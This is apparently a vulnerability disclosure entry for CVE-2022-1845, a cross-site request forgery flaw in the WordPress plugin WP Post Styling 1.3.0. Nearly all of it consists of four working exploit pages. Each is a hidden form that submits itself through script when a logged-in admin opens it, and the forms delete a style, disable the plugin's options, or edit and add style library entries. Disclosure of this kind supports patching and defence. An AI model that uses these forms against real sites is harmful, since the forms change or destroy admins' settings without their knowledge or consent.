CVE: CVE-2022-1845

Name: WP Post Styling (wp-post-styling)

Version: 1.3.0

Date: 2022-04-23 21:53:36

Advisory: https://wpscan.com/vulnerability/6ee3e9e2-ff57-41c4-8cc5-b258801a8a02

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=wp-post-styling/wp-post-styling.php" method="POST">
    <input type="text" name="delete_style" value="1">
    <input type="text" name="submit-type" value="library">
    <input type="text" name="submit" value="Yes, delete it!">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>


<form action="https://example.com/wp-admin/options-general.php?page=wp-post-styling%2Fwp-post-styling.php" method="POST">
    <input type="text" name="jd-post-styling-screen" value="1">
    <input type="text" name="jd-post-styling-default" value="disable">
    <input type="text" name="jd-post-styling-library" value="disable">
    <input type="text" name="jd-post-styling-boxsize" value="6">
    <input type="text" name="submit-type" value="options">
    <input type="text" name="submit" value="Save WP Post Styling Options">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>


<form action="https://example.com/wp-admin/options-general.php?page=wp-post-styling%2Fwp-post-styling.php&edit_style=1" method="POST">
    <input type="text" name="edit_style" value="1">
    <input type="text" name="jd_style_library_name" value="test">
    <input type="text" name="jd_style_library_css" value="body {color: blue}">
    <input type="text" name="jd_style_library_type" value="screen">
    <input type="text" name="submit-type" value="library">
    <input type="text" name="submit" value="Update WP Post Styling Library">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>


<form action="https://example.com/wp-admin/options-general.php?page=wp-post-styling%2Fwp-post-styling.php" method="POST">
    <input type="text" name="jd_style_library_name" value="test2">
    <input type="text" name="jd_style_library_css" value="body {color: blue}">
    <input type="text" name="jd_style_library_type" value="screen">
    <input type="text" name="submit-type" value="library">
    <input type="text" name="submit" value="Add to WP Post Styling Library">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>